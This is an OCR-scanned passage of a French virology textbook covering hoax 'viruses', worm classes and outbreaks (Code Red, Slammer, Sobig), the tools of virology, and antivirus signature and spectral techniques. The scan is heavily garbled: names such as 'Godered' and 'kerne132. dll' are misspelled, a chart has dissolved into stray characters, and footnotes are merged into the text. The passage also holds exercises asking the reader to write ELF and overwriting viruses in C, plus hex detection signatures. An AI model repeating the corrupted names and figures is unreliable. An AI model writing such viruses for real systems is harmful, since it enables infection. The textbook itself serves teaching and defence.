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Dans un virus psychologique, nous retrouverons donc les deux principales fonctions des virus et vers actuels : - l'autoreproduction (propagation virale). Cela legitime l'appellation de virus pour ce type d'attaque. La transmission, consciente ou inconsciente, par un ou plusieurs individus, a d'autres individus, de ce genre de desinformation est totalement assimilable a un processus d'autoreproduction. Generalement, ce mecanisme passe par l'utilisation intensive du mail, de chaine de solidarite ou damitie, par le bouche a oreille, .... - la charge finale. Le contenu du message de desinformation incite fortement et intelligemment, l'utilisateur non informe, peu competent en informatique, et quelquefois un peu credule, a produire lui-meme et directement l'effet d'une veritable charge finale. L'effet le plus generalement recherche est 1'effacement , par la victime, d'un ou plusieurs fichiers systemes (kerne132. dll par exemple), prcscntes comme etant autant de copies du virus. Un effet de saturation du roseau ou d'un serveur distant peut egalement en resulter. Les exemples sont trop nombreux pour etre prcscntes ici. Le lecteur en trouvera la description sur des sites spccialiscs'l'' ou sur les sites de la plupart des edi teurs d' antivirus (rubrique hoaxes). La seule parade passe par l'information des personnels, leur sensibilisation, leur formation et surtout, en milieu professionnel, par la gestion centralisee des alertes et le controle des flux de communication interne (messagerie). Seull'administrateur ou l'officier de securite doivent etre habilites a diffuser une information concernant un risque viral. Ils doivent egalement surveiller toute utilisation de la messagerie assimilable a des attaques par vers (chaines par exemple). Enfin, le rcflexc du compte rendu face a tout message suspect doit etre developpe chez les utilisateurs.



5.5.2 Nomenclature des vers Les vers appartiennent a la famille des programmes autoreproducteurs; cependant, il est possible de les considerer comme une sous-classe particuliere de virus, capables de propager l'infection a travers un roseau. Les modes d'infection prcsentcs dans la section 5.4 pour les virus s'appliquent donc egalement aux vers, lorsque ces derniers sont parvenus a penetrer dans une machine. La specificite des vers, par rapport aux virus, vient de ce que leur pouvoir infectieux ne requiert pas d'etre necessairement attache a un autre fichier 46



L'un des nlus cOIDDIets est celui de www.hoaxbuster.com
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(utilisation de procedures fork() ou exec() par exemple). La simple creation de processus permet au ver de se deplacer . Mais , qu elle qu e soit la facon de voir, le processus de duplication de code est bien la et c' est la raison pour laquelle un ver n 'est qu 'un type de virus particulier. L'algorithmique est d 'ailleurs la meme, a quelques specificites pres . Nous detaillerons l'aspect algorit hmique des vers dans le chapitre 10. Le ver se distingue egalement du virus par son pouvoir infectieux. Si l'effet d 'un virus classique est generalement limite dans l' espace a un e region ou un petit groupe de pays, celui du ver, en particulier pour les dernieres generations, est planetaire. Le meilleur exemple a mettre en exergue , encore une fois, illustrant parfaitement le pouvoir infectieux d 'un ver , est celui du ver Godered version 2 (juill et -aout 2001 ; voir [87, 174]). Le ver , profitant d 'une vulnerabilite des serveurs Web IIS (Microsoft) , a infecte en 14 heures pr es de 400 000 serveurs dans le monde. La cour be d'infection est donnee en figure 5.11. Le lecteur trouvera sur le CDROM , une animation creee par J eff Brown de l'Universite de Californie a San Diego, a partir des an alys es de David Moore de la societe Gaida [174], decrivant l'infection au niveau planetaire, par le ver Godered 2.
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F IG. 5 .11. Nombre de serveurs infectes Dar Codered en fonction du temns (source (1741)
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La cour be de la figure 5.11 montre clair ement que la dissemination du ver suitune loi exponentielle ent re 11 : 00 et 16 : 30. Ceci illustre parfaitement ce qui peut etre qualifie de periode « effet papillon informatique » : toute nouvelle infection de serveurs a un effet global enorrne. Sur l'animation de Jeff Brown, cet effet se materialise par une brusque acceleration de l'infe ction . Au pic de l'infection, pres de 2 300 nouveau x serveurs ont ete infect es chaque minute (figure 5.12).
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F IG . 5.12. Nombre de serveurs infectes chaque minute par Cod ered (source [174])



De plus , la modelisation mathematique de la dissemin ation de ce ver 47 (effectuee par S. Staniford [211] ; lire egalernent [229]) mon t re que la proportion p de machines vulnerables compromises (infect ees) est donnee par e K. (t- T )



p 47



= (1 + e K. (t- T ) )



(5.1)



Le lecteur pourra consult er [199, section 3.2] pour un e modelisation ma therna tique de la propagation des vers dans Ie conte x te d 'un systeme autonorne, c'est-a-d ire d 'un sous-reseau ad minist re par une « autorite unique », Internet et ant vu comme une int erconnexion de svstemes autonomes.
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ou Test une constante cl'int egr ation decrivant l'origin e t em po relle de l'infection, t le tem ps en heures et K le t aux ini ti al d 'infecti on , c'est-a-dire le taux avec lequel un serveur peut en infecter d 'autres. 11 est estirne a 1,8 serveur par heure. En d 'au tres termes, I'equation prou ve qu e t res rapidem ent la proportion de serveurs vulnerables infe ctes t end ver s 1 (tous sont finalement infect es] . A noter de plus (et cela est parfait ernent visibl e sur l'animati on de Jeff Brown) que l'infection est homogene dans l'esp ace : les trois continent s maj eurs - Europe, Asie, Amerique - sont infect es simult anernent. Cela provient de la generation aleatoire, de qualite satisfaisan te, des ad res ses IP (voir [87]). Un au tre exe mple plus recent est celui du ver Sapphire /Slammer [39, 175] qui a sevi en j anvier 2003 , isolan t totalem ent la Coree du sud du reseau Internet . En dix minutes, pres de 75 000 serveurs on t ete ains i infectes. La figure 5.13 montre la rep artition des serveurs infect es par le ver , trent e minutes apres le debut de l'epidemie.



FIG . 5 .13. Repartition des serveurs infectes par Sapphire (H + 30 minutes) . Le diametre de chaque cercl e est proportionnel au logarithme du nombre de ser veurs infectes (Sou rce : [175])



Ces profils de propag ation sont particuli erem ent ca racteristiques et d 'une cer t aine maniere ils constituent une sorte de signature reseau . Cela explique pourquoi, depuis 2003 , ils ont cede la place a des profils de propag ation moins previsibles et surtout plus furtifs. L'idee est de met tre en defaut les modeles de nrevision et ablis et dont l'obiectif est d 'id entifier des les nrerniers in stant s.
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une attaque par un ver a l'aid e de sondes reparti es sur t oute la planet e. La figure 5.14 montre qu elqu es exemples de cette l'evolution des profils de propagation.
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FIG. 5.14. En haut a gauche, un modele classique de propaga tion (vo ir F igure 5.11). En haut a droite, modele de ver a reveil periodique, E n bas, profil de propag ation d 'un ver cont ourn ant des mecanismcs de defense [180]



Trois grandes classes de vers sont habituellement rep ertoriees, meme si la classification peut sembler artificielle dans certains cas .



Les vers si mples Les vers simples (encore appeles worm) sont du ty pe du ver Internet (1988). Ils exploitent general ement des failles logicielles permettant l'execution de programmes sur une machine distante , et exploi tent au ssi des faiblesses dans les nrotocoles reseau (mots de nasse faibl es. authentifi cation sur
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la seule adresse IP, principe de mutuelle confiance... ) pour se disseminer. Cette categoric est la seule qui legitimement peut pretendre a l'appellation de ver. Appartiennent a cette categoric, entre autres exemples, les vers Sapphire/Slammer (janvier 2003), W32/Lovsan (aout 2003) et W32/Sasser (avril 2004).



Les macro-vers Souvent classes et repertories comme vers, ce sont plut6t des programmes hybrides virus (infection de support transmis par reseau) et vers (utilisation du reseau pour la transmission). Mais il faut reconnaitre que cette classification est assez artificielle. De plus, le mode d'activation est le plus souvent le fait d'une action humaine, ce qui correspond plus a un mecanisme de virus. Le mode de dissemination se fait par des pieces jointes contenant des documents bureautiques infectes. De ce fait, ils pourraient etre rattaches aux macro-virus. L'ouverture de la piece jointe provoque dans un premier temps l'infection du logiciel bureautique concerne. Ensuite, le ver propage l'infection en parcourant le carnet d'adresses pour envoyer des messages electroniques, usurpant I'identite de l'utilisateur en vue d'inciter le destinataire du mail a ouvrir la piece jointe infectee. Enfin, le ver execute une eventuelle charge finale. L'exemple le plus celebre est celui du ver Melissa en 1999. Ce ver utilisait la pornographie comme base dingenierie sociale. Notons que cette technique est aiscment generalisable a tout format de documents (virus de documents) permettant I'execution de code malveillants [153]. En 2007, le macro-ver BadBunny, se propageant via des documents OpenOjJice a remis ce type de vers sur le devant de la scene [113].



Les vers d'emails Ces vers sont encore appeles mass-mailing worm. La encore, le principal medium de propagation est la piece jointe contenant un code malicieux active soit directement par l'utilisateur, soit indirectement par l'application de courrier electronique, en vertu de failles (Outlook/Outlook Express version 5, par exemple, lance automatiquement tout code executable present dans les pieces jointes). L'exemple le plus celebre, pour cette categoric, est le ver Il.ovnYou qui a frappe en 2000, par une utilisation judicieuse de I'ingenierie sociale (l'infection s'effectuait par le biais d'une piece jointe contenant le code malveillant, prenant l'apparence d'une lettre d'amour). Le nombre de machines infectees est cstime a pres de 45 millions. La encore, la classification dans les vers est assez contestable mais elle a ete conservee ici, etant celIe retenue le nlus souvent.
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La propagation de ces vers est generalement fulgurant e mais s' ete int assez vit e, car les mesures de lutte se mettent rapidement en pla ce. La figure 5.15 montre l'attaque par le ver W32/Bugbear-A en octobre 2002 (les donnees ici pr esentees sont du es a J ean-Lu c Casey) et son evolution durant un mois. L'attaque dem arre le 30 septembre 2002 vers 19 :30 (GMT+ 2). L'effet des week-ends est visibl e notamment lors du premier week-end (5-6/10) mais egalement les 12-13/10 (baisse d 'activite du caurrier electronique) . L'attaque a un profil tres classique : violent e au debut avec un e ph ase ascendante de quelques jours puis regression rapide au cours de laquelle les antivirus sont mis a jour. II faut at te ndre le 24/10 pour voir le virus ent rer en ph ase d 'extinction.



W32.BugBear-A (Oct. 2002) 300



IJlI;



250



200



: \



e



li\



.Q



E 150



0



z 100



.,.



,



, .~



-



,



-



so 0



,v,



I



I



-



I



Il.'.fl-.-.



~NM~~~~romo~NM~~~~romo~NMv~w~oomo~



~~~~~~~~~~NNNNNNNNNNMM



Jour



F IG . 5. 15. Evo lution de l'attaque par W32/Bugbear-A (Oct . 2002 - Source J .-L. Casey)



Le 18 aout 2003, le ver W32/Sobig-F a frappe. II figure parmi les vers d 'emails ayant infect e le plus grand nombre d 'utilisateur s : plu s de cent millions ont ete touches par ce ver (source F-Se cure) , dont plu s de vingt millions pour la seule Chine (source Reuters) . L' action de ce ver est telle que nous citerons Mikko Hypponen, direc teur de la recherche antivirale chez F-Secure 11231 (traduction de l'anzlais) :
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« Les techniques anasicees utilisees par le ver prouvent de [aeon evidente qu.'il n'a pas ete ecrii par le programmeur luibituel, type adolescent auteur de virus. Le fait que les variantes precedenies de Sobig ont ete utilisees par les spammers'" sur une tres large echelle est une preuve de la recherche d 'um gain commercial. Qui est derriere tout cela ? Pour moi, cela ressemble a du crime organise. »
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5.16. Evolution de l'attaque par W32/Netsky-P et W32/Zafi-B (Juillet - aout 2004)



Le ver W32/Mydoom qui a frappe en janvier 2004 a malheureusement battu ce triste record [96] et depuis d'autres vers comme ceux appartenant aux familles W32/Bagle ou W32/Netsky ont egalement defrayc la chronique par le nombre important d'utilisateurs qui en ont ete victimes. Une tendance semble cependant se des siner depuis le debut 2004 : le profil classique evoque precedemment avec le ver W32/Bugbear-A n'est plus systematique et la duree de vie d'un ver peut s'allonger significativement. Les statistiques de 48



Au total, cinq variantes du ver W32/Sobig sont connues. Le spam est le fait d'utiliser le mail, souvent de manierc agressive et massive, pour diffuser des publicites commerciales directement aunres des utilisateurs.
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I'annee 2004 49 le montrent clairement pour un nombre non negligeable de vers (voir figure 5.16 pour une comparaison des statistiques concernant les vers W32/Netsky-P et W32/Zaji-B 50 ) . Cela semble indiquer une baisse de la vigilance des utilisateurs due a une sensibilisation encore trop sporadique'".



5.6 Outils en virologie informatique Les outils generalement utilises en virologie informatique sont peu nombreux et surtout faciles a obtenir. La reside le veritable danger des virus et autres infections informatiques. Autant le controle des armes de destruction massives, qu'elles soient nucleaires, chimiques ou biologiques, est possible (avec des difficultes certes plus ou moins grandes selon la nature des armes, tant au niveau des maticres et materiels necessaires que des specialistes competents}, autant celui des armes d'« infection massive », comme peuvent I'etre les vers, est impossible. Les connaissances sont faciles a acquerir (il suffit d' etre motive) et les outils sont, finalement, on ne peut plus anodins : ce sont ceux de l'industrie informatique. A ce stade, il ne fait aucun doute que les attaques d'envergure regionale ou planetaire (comme ce fut le cas en janvier 2003 avec le ver Sapphire/Slammer), par virus ou par ver, sont vouees a se multiplier, dans un avenir proche. La vigilance et la competence des organismes internationaux d'alerte n'ont d'egal que l'imagination des pirates, leur motivation et l'existence (il est necessaire de le rappeler encore une fois) de failles logicielles. Les cibles et les victimes sont ici les ressources informatiques industrielles et nationales des pays. Quels sont ces outils? Precisons tout d'abord qu'ils sont les memes, que l'on se place cote defense (les professionnels de la lutte antivirale) ou cote attaque (les programmeurs de virus). Enumcrons-lcs : - un compilateur (assembleur, langage C...) ou un interpreteur (VBA, VBScript ... ) pour le langage considere, Pour des langages comme le VBA ou autre, il est disponible de facon native avec certains logiciels (logiciels de la suite Office, Internet Explorer... ) ; 49



50



51



Je remercie au passage Cedric Foll et Guillaume Areas pour les tres nombreuses statistiques qu'ils ont eu la gentillesse de me fournir tres regulierement. Le ver W32/Netsky-P est apparu le 21 mars 2004 alors que le ver W32/Zafi-B a fait lui son apparition le 11 juin 2004. Tous deux appartiennent a la categorie des vers d'emails. Selon le CERT-Renater, et a titre d'exemple, en fevrier 2004, plus d'un quart des mails echanaes etait infecte.
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- un logiciel de desassemblage. II permet d'obtenir un code source a partir d'un fichier (binaire) executable. L'analyse d'un code infectieux instruit autant celui qui veut lutter contre, que celui qui veut apprendre a en maitriser les techniques. Citons le produit phare IDA Pro 52 ; - un debugger (logiciel permettant I'execution en mode pas a pas). Ce type de logiciel permet d'analyser, de dissequcr et de comprendre le comportement d'un code infectieux. Le produit le plus utilise est Soft ICE 53 ;



- un editeur hexadecimal (visualisation et manipulation des donnees brutes, c'est-a-dire non interpretees d'un fichier, quelle que soit sa nature) ; - divers utilitaires facilitant l'analyse ou la manipulation des fichiers executables (analyseur d'en-tete PE par exemple) ou de I'activite systcme en temps reel (appel des API par exemple; utilitaires FileMon, Regmon ... ) ;



- des res sources bibliographiques et de la documentation technique. Tout se trouve, de nos jours, sur le reseau Internet. Des sites complets se sont specialises dans ce domaine et les principales socictes informatiques (de logiciels et de materiels) mettent elles-memes en ligne toutes les res sources documentaires necessaires. La liste s'arrete lao Ajoutons qu'il faut cependant beaucoup de patience, de motivation, d'acharnement et de passion pour acquerir la maitrisc tant de la creation que de la lutte. Mais le lecteur mesurera facilement, a la faible taille de cette liste, tout le danger que peuvent representer les infections informatiques. Encore faut-il se feliciter du fait que, jusqu'a present, Fincompetence ou l'amateurisme de la plupart des programmeurs de virus, ou un sursaut de conscience (en limitant les effets de leurs creations) de certains auteurs, ont permis de limiter les degats, Comment gerer les pays qui developpent de manicre efficace des armes informatiques [83-85] ? II est totalement illusoire de penser que des commissions d'experts en desarmement de l'Organisation des Nations Unies puissent jouer un quelconque role.



Exercices 1. En vous inspirant du virus Unix.satyr dont le code est detaille dans le chapitre 9, ecrivcz en langage C, un virus infectant les binaires ELF, en 52



53



IDA Pro ©Datarescue - http://Til'fil'fiI . datarescue . com Soft ICE ©Compuware - http://TiiTiiTii. compuTiiare. com/products/dri verstudio/ softice/
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ajoutant la plus grande partie de son code en position terminale (type appender). Pour executor le virus en priorite au lancement du fichier hate infecte, une portion de code devra cependant etre placec en tete du fichier executable cible (c'est I'equivalent des quelques octets codant une fonction saut vers le code viral, en fin de fichier). 2. Programmez en langage C un virus fonctionnant par ecrasement de code. En vous inspirant du virus vcomp_ ex_ v2 presente dans le chapitre 9, diminuez sa virulence en tenant compte de la taille du fichier cible avant infection.
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La lutte antivirale



6.1 Introduction Dans ce chapitre seront exposees succinctcmcnt ' les techniques de lutte antivirale utilisees de nos jours. Ces techniques, bien que generalement efficaces, ne suppriment pas tous les risques et ne peuvent que les reduire, II est donc essentiel de ne pas baser une politique de lutte antivirale sur la seule mise en ceuvre d'un antivirus, aussi performant soit-il. Nous presenterons donc les principales regles d' hygiene informatique, tres efficaces lorsque strictement obscrvecs, qui doivent, en amont de l'antivirus, etre appliquees, La plupart proviennent des modeles de securite definis dans les annecs quatre-vingts. Le probleme de la lutte (prevention, detection, eradication) contre les infections informatiques est plus delicat a envisager et a traiter qu'il n'y parait, au-dela des resultats theoriques prcscntes dans le chapitre 3. Nous retiendrons les deux aspects suivants, au moins, pour illustrer notre propos. La notion de lutte n'est valide que par rapport a un referentiel d'environnement, de tests, de techniques .... La complexite theorique de la detection virale oblige a adopter des techniques probabilistes ou statistiques, avec les probabilites d'erreur qui y sont naturellement atta1



II est paradoxalement plus aise de disposer ou d'obtenir des informations sur la conception des virus, que des informations techniques veritablement detaillees sur les mecanismes antiviraux. Le seul moyen est une etude des antivirus, soit par desassemblage mais ces techniques sont longues et fastidieuses, en particulier lorsque l'executable est protege (compression, chiffrement, obfuscation) - soit par des tests cibles permettant de determiner les techniques et modes de lutte utilises. L'etude de la base de signatures est ee:alement necessaire r1041.
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chees 2 . Cela signifie qu'en se placant dans un referentiel different, la lutte devient ineffective tant qu'elle ne prend pas en compte ce changement de referentiel. C'est l'etat d'esprit et le mode d'action des programmeurs d'infections informatiques, reellement efficaces. - Le second aspect des choses concerne la confiance a accorder aux techniques de lutte antivirale, au-dela des problemes d'erreur evoques dans le premier point. Prenons un exemple precis. Si mon antivirus a detecte la version B d'un ver donne, puis-je veritablement lui faire confiance? Sera-t- il capable de distinguer specifiquement une eventuelle version B', identique en tous points a la version B (et qu'il detectera comme telle) mais avec, en prime, une bombe logique ou un cheval de Troie, parfaitement caches. La desinfection ayant eu lieu, le risque potentiel existe que ce bonus, installe et devenu independant avant I'eradication du « virus porteur » soit toujours actif mais indetectable puisque desormais prive de son vecteur viral. Pourtant, notre antivirus a rempli son role. Nous sommes soulages et convaincus de la disparition du risque. Si, maintenant, un attaquant veut infecter nos machines, il prendra un ver ou un virus deja detecte mais ajoutera une telle charge, intelligemment - en general, apros analyse de tel ou tel antivirus, ce que font les retrovirus - et de manierc non discriminante - l'antivirus ne fera pas la difference avec la version non modifiee, Dans le cas, par exemple, d'une entreprise ou d'une administration, il peut s'agir d'une attaque a double niveau, ciblee, Seulle premier niveau de l'attaque sera vu, pas le second. Que penser alors? Cela signifie que notre antivirus ne peut dire que ce qu'il a ete programme pour dire. La certitude ne vient que par l'analyse du code viral. Or, cette analyse est generalement faite avant, pour mettre le produit a jour, rarement apres, si aucune autre raison n'incite a le faire, autrement dit, si le bonus de notre attaquant reste non detecte, Les experiences et les tests effectues en laboratoire ont montre que n'importe quel antivirus etait relativement facile a contourner [104]. Malheureusement, aucune exception n'a ete constatee, et ce, quelles que soient les techniques de lutte utilisees, les arguments marketing de certains editeurs d'antivirus (souvent exageres, voire quelquefois fallacieux), et surtout, quel que soit le mode de fonctionnement : statique et dynamique. Dans tous les cas, l'insertion et I'execution des virus et vers sont restees non detectees, 2



Le terme de fausse alarme, si mal defini en regle generale dans le monde des antivirus, est nrecisement ce aue l'on annelle erreur de nremiere esnece (voir section 6.2.1).
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Cela signifie-t-il qu'un antivirus est inutile? Certainement pas" ! Mais, il importe d'en comprendre les principales techniques qu'il met en oeuvre, pour mesurer combien chacune d'elles renferme ses propres limitations. Le but est, au final, de sensibiliser l'utilisateur au fait qu'il est indispensable de mettre en ceuvre, en amont et en aval de tout antivirus, des mesures d'« hygiene informatique »,



6.2 La lutte contre les infections informatiques Les etudes theoriques mcnecs durant les annees 1980 [1,51] ont suscite par la suite un grand nombre d'etudes qui, tres vite, ont permis de definir plusieurs techniques et plusieurs modeles permettant une lutte effective, quoique sous-optimale en vertu des resultats theoriques initiaux, contre les diverses infections informatiques. Si leur mise en oeuvre est plus ou moins aisee, leur efficacite varie suffisamment pour obliger ales utiliser de manierc conjointe. Le resultat theorique le plus important reste celui de Fred Cohen, qui demontra, en 1986, que determiner si un programme est infecte est un probleme en general indecidable (au sens mathematique du terme). Ce resultat a ete presente dans le chapitre 3. Un corollaire important est qu'il est toujours possible de leurrer un logiciel antivirus (exercice favori des programmeurs de virus et autres infections informatiques). C'est une realite intimement liee a la notion de securite (definition 52). Une etape prealable consistera a etudier les forces et faiblesses de ces antivirus, afin de mieux comprendre comment les contourner. Que dire de I'efficacite des techniques de lutte antivirale aujourd'hui? Les antivirus actuels, pour les plus efficaces, presentent des performances globalement excellentes. Encore faut-il regarder dans le detail. Sur les virus connus et relativement rccents, le taux de detection est proche du 100 % avec un taux tres faible de fausses alarmes. En ce qui concerne les virus inconnus, le taux de succes se situe entre 80 a 90 %. Encore faut-il egalement differencier les virus inconnus utilisant des techniques virales connues, des virus veritablement inconnus qui mettent en oeuvre des techniques virales inconnues (voir dans [104, Chapitre 3] une etude statistique detaillee de ce point ci). Dans ce dernier cas, aucune statistique n'est connue car les editeurs 3



La meilleure illustration de tous ces aspects est la suivante : un conducteur ne peut conduire sa voiture sans une police d'assurance valide. Mais etre assure ne garantit pas l'absence d'accidents pour autant. II est indispensable, en plus, de respecter le code de la route et d'entretenir son vehiculc. Et memc la, le risque n'est que reduit. L'antivirus est la nolice d'assurance de l'ordinateur.
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d'antivirus ne communiquent pas sur ce sujet. La realite des experiences prouve qu'un virus (ou un ver) vraiment novateur parvient a leurrer non seulement les antivirus mais egalement les pare-feux (le meilleur exemple, recent, est le ver Nimda4 [28]). En outre, beaucoup de virus et de vers sont trop mal ecrits ou prcscntent des erreurs de programmation telles que leur detection est un jeu d'enfant. Pour les vers, la situation est nettement moins reluisante. Les antivirus sont trop souvent incapables de detecter les nouvelles generations, avant mise a jour. Les editeurs sont clairement dans une situation de reaction et non d'anticipation. La situation est egalement nettement moins bonne en considerant les dernieres generations de vers (Klez, BugBear... ). Si les antivirus parviennent ales detecter (apres avoir mis a jour leurs produits), ils reussissent de moins en moins a desinfecter automatiquement les machines infect.ees. II est necessaire de recourir a des utilitaires specifiques a chaque ver - telechargeables sur les principaux sites dediteurs de produits antivirus ou bien a une manipulation souvent trop complexe pour l'utilisateur de base. Dans les deux cas, l'ergonomie du produit antiviral s'en trouve amoindrie, voire fortement remise en question. Un autre facteur a prendre en consideration, concernant la detection des vers, provient de la nature meme de ces infections informatiques. Les vers, pour la plupart, generent des millions de copies deux-memes, occasionnant une telle perturbation du roseau et des serveurs qui y sont conncctcs, que leur existence ne peut qu'etre detectee, La situation serait nettement moins facile a gerer, dans le cas d'un ver espion, par exemple, qui, de facon ciblee, viserait un groupe restreint de machines (voir notamment le probleme pose par le ver espion « Magic Lantern », developpe par le F.B.I. [91]). Concernant la detection des autres types d'infections informatiques (chevaux de Troie, bombes logiques, leurres), la situation est egalement moins en faveur des antivirus. Ces derniers ne les detectent pas de facon fiable, en particulier pour ce qui est des nouveaux types. Dans ce cas, un pare-feu (aux limitations naturelles pres de ces produits) a plus de chances, quelquefois, d'etre efficace et constitue un complement indispensable a l'antivirus, a la condition expresse qu'il soit bien configure et que les regles de filtrage soient auditees frequemment et reevaluees, Un autre point important, qu'il convient de souligner, est que la lutte antivirale represente avant tout un enjeu commercial. Etant donne le nombre de produits disponibles, cela se traduit pas une regrettable concurrence qui n'est pas en faveur de l'utilisateur final. Cette concurrence oblige a avoir un 4



Voir ee:alement www.f-secure.com/v-descs/nimda. shtml
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produit toujours plus « ergonomique » (autrement dit, une belle interface devant laquelle l'utilisateur a de moins en moins la main), toujours plus rapide (l'utilisateur ne doit pas etre gene par un ralentissement, memc leger, provoque par son antivirus en mode dynamique) et toujours plus compact (notamment, en ce qui concerne la taille de la base de signatures). Des tests effectues au Laboratoire de Virologie et de Cryptologie de l'Ecole Superieure et d' Application de Transmissions puis au Laboratoire de Virologie et de Cryptologie operationnelles de l'Ecole Superieure en Informatique, Electronique et Automatique (ESIEA), ont montre [104], tous produits confondus, que certains virus anciens (les virus consideres sont cependant differents d'un produit a un autre, en general) ne sont plus detectes. Ceci est la consequence, vraisemblable, de la volonte de limiter la taille des bases de signatures virales, ces virus etant juges comme ayant pratiquement disparu. Mais cela n'explique pas pourquoi ces memes virus ne sont plus detectes par des techniques dynamiques (moniteur de comportement, emulation de code). Fort du resultat de ce genre de tests, qu'il pourra tres facilement effectuer, un attaquant saura alors aiscment comment contourner tel ou tel produit antiviral. Une fois encore, nous constatons, illustration parfaite de la definition 52, que I'etude d'un produit antiviral permettra de determiner comment le leurrer. Nous allons presenter, succinctement", les principales techniques antivirales actuelles.



6.2.1 Les techniques antivirales Avant de passer en revue les techniques antivirales, il convient de rappeler qu'un antivirus fonctionne - a quelques rares exceptions pres - selon deux modes: - en mode statique : l'antivirus n'est alors actif que par une action volontaire de l'utilisateur (declenchement manuel ou pre-programmme}, II est donc le plus souvent inactif et aucune detection n'est possible. C'est le mode le plus adapte aux machines de faible puissance. La technique de surveillance de comportement n'est pas disponible dans ce mode; - en mode dynamique : l'antivirus est, en fait, resident et surveille en permanence I'activite du systeme d'exploitation, du roseau et surtout de l'utilisateur. II prend la main avant toute action et tente de determiner 5



II est assez amusant, et somme toute logique, de constater que si les programmeurs de virus communiquent facilement leurs connaissances techniques, il n'en est pas de meme pour les programmeurs d'antivirus. Malgre cela, les premiers parviennent a defaire les seconds.
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si un risque viral existe, lie a cette action. Ce mode est gourmand en ressources et necessite des machines relativement puissantes, pour ne pas etre handicapant et pousser l'utilisateur (cas trop souvent rencontre) a desactiver ce mode au profit du precedent. Afin de lutter contre les techniques anti-antivirales, elles-memes toujours plus retorses et complexes (voir la section 5.4.6), notamment celles actives contre les antivirus, ces derniers deviennent de plus en plus difficiles a desinstaller. Cela complique bien evidemment la tache des virus, mais rend tres difficile, pour l'utilisateur, le changement de produit. Nous avons ete confrontes a ce probleme, alors que nous devions opercr un tel changement (adoption d'un nouveau logiciel antivirus). II a ete impossible, dans quelques cas, de correctement desinstaller l'ancien produit pour installer, sans problemes, le nouveau, a moins de ... totalement formatter le disque dur (cas limites a certains systemes d'exploitation sous certaines configurations) ! Un autre aspect, fondamental, etaye par de nombreux tests en laboratoire, est la necessit« de configurer correctement son antivirus et surtout de ne pas se contenter de la configuration par defaut. II a ete possible d'introduire des virus en conservant simplement le paramctrage par defaut de certains antivirus. Une fois l'antivirus correctement configure, ces virus ont ete detectes. Les antivirus modernes, pour les plus efficaces, conjuguent plusieurs techniques (programmees dans des modules denornmes moteurs) afin de reduire le risque de fausses alarmes et de non-detection, au minimum. Elles peuvent etre classees en deux groupes : les techniques statiques et les techniques dynamiques. Techniques antivirales statiques Essentiellement trois techniques principales [104] peuvent etre citees.



Recherche de signatures Cette technique consiste a rechercher une suite de bits, caracteristique d'un virus donne. Cette suite est analogue a l'empreinte digitale d'une personne. Utilisee comme signature, elle doit possedcr deux proprietes importantes'' : - Elle doit etre discriminante. Cela signifie que la signature doit identifier specifiquement le virus. En particulier, si deux versions d'un memc 6



La modelisation theorique de la notion de signature ainsi que le probleme de I'extraction des siznatures utilisees Dar un antivirus sont nresentes dans rl041.
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programme infectant existent, la signature doit etre telle qu'un seul des deux doit etre detecte. A titre d'exemple, considerons les deux variantes du virus Datacrime. Leur signature respective, en hexadecimal, sont : Verso 1 36010183EE038BC63D00007503E90201B Verso 2 : 36010183EE038BC63D00007503E9FEOOB Les deux versions seront bien distinguees l'une de l'autre. Notons que cette propriete est loin d'etre systematique chez les produits actuels. II en resulte que l'identification exacte des virus et autres infections n'est pas parfaite. - Elle doit etre non incriminante. Autrement dit, elle ne doit theoriquement pas incriminer un autre virus, ou un programme sain. Elle doit donc posseder une taille et des caracteristiques suffisamment pertinentes pour ne pas provoquer de fausses alarmes (la probabilite theorique de trouver une sequence donnee de n bits est inversement proportionnelle a 2n ; cependant, toutes les chaines de n bits ne constituent pas des signatures valides dans la mesure OU ces chaines appartiennent a un espace de definition plus restreint : celui des instructions reelles produites par le compilateur). A titre d'illustration, considerons la signature suivante, B93FOOB44ECD21, en hexadecimal. Elle n'est pas discriminante. Elle est en effet trop courte mais surtout elle est susceptible d'incriminer des fichiers non infectes. Cela peut etre un fichier compressc qui contiendrait la chaine de caracteres z?tNI! - representation en ASCII de cette signature ou bien un executable contenant un bloc d'instructions, code par cette suite et tres frequent dans un programme (instructions de recherche de fichiers) . En general, plus la sequence utilisee pour definir la signature est longue, plus cette signature realisera ces deux proprietes, Cette signature peut etre : - soit une sequence d'instructions ; - soit un message affiche par le virus; - soit tout simplement la signature que le virus lui-meme utilise pour evitcr la surinfection d'un executable. La base de signatures comporte, pour chaque virus qui s'y trouve recense : - la signature proprement dite; - l'endroit OU la chercher (en-tete de I'cxccutablc, debut ou fin du code... ). Plutot que de rechercher la sequence de bits qui la definit dans tout I'executable. l'antivirus se limite a une zone snecifioue de cet execu-
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table, cela permet d'accelerer la recherche. En considerant cette donnee, il a ete facile, lors de tests en laboratoire, de mettre la plupart des antivirus en defaut ; - le mode de recherche : recherche simple de la signature, decompression du code, dechiffrement ... Si la detection par signatures peut se reveler tres efficace, elle se limite aux virus connus et analyses. Le probleme avec cette technique est qu'elle est facilement contournable. Un simple changement de compilateur suffit a leurrer la plupart des antivirus (voir exercices). Une etude de la base de signatures permettra de determiner ses limites. Elle ne permet de gerer ni les virus polymorphes, ni certains virus chiffres, et encore moins les virus inconnus. Le taux de fausses alarmes est faible bien que l'identification correcte laisse quelquefois a desirer (probleme de fausse incrimination). Le principal probleme de ce mode de detection est la necessite de maintenir la base de signatures virales avec les contraintes que cela comporte : taille de la base, stockage securis« (des sites d'antivirus contenant les bases de signatures de leurs produits sont quelquefois attaques}, la distribution securisee, la mise a jour plus ou moins reguliere et effective par l'utilisateur, souvent negligent. Rappelons qu'actuellement, la frequence de mise a jour d'un antivirus est d'une fois par semaine au minimum. A noter que la mise a jour de ces bases permet la detection de nouveaux virus ou vers, mais aussi, dans certains cas, d'ameliorer la detection des virus ou vers precedemment rcpercs (par d'autres techniques) en diminuant, par exemple, les res sources machine necessaires. Cela explique pourquoi, pour une memc infection, le programme infecte sera detecte plusieurs fois (un compte rendu pour chaque moteur antiviral). Notons que, pour cette technique, l'antivirus constate une infection deja effective. Analyse spectrale



Elle consiste a etablir la liste des instructions d 'un programme (le spectre) et a y rechercher des instructions peu courantes dans la plupart des programmes non viraux mais caracteristiques de virus ou de verso Par exemple, un compilateur (C ou assembleur) n'utilise en realite qu'une partie de l'ensemble des instructions theoriquement possibles (afin d'optimiser le code le plus souvent), alors qu'un virus va tenter d'utiliser plus largement ce jeu d'instructions, pour accroitrc son efficacite. Par exemple, pour annuler le contenu du registre AX, l'instruction generalement utilisee est l'instruction XOR AX. AX. Dans le cadre du nolvmor-
